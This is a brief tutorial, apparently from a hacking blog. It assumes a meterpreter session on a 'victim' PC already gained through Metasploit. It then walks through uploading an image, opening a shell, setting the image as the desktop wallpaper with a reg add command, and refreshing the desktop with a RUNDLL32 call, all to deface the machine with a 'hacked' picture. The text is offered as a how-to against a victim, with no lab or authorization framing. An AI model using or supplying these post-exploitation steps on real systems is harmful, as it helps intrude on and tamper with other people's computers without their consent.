First Hack the Victim PC Using Metasploit (Tutorial How to Hack Remote PC)
Once you got the meterpreter session to send an image file to the victim system use the upload command
Use ‘shell ‘command to get command prompt of the target
Now set image as the wallpaper need to run the command as below
reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d d:\hacked.bmp /f
Now need to run the below command to make the change take effect immediately.
RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters
Note that this method works only for bmp images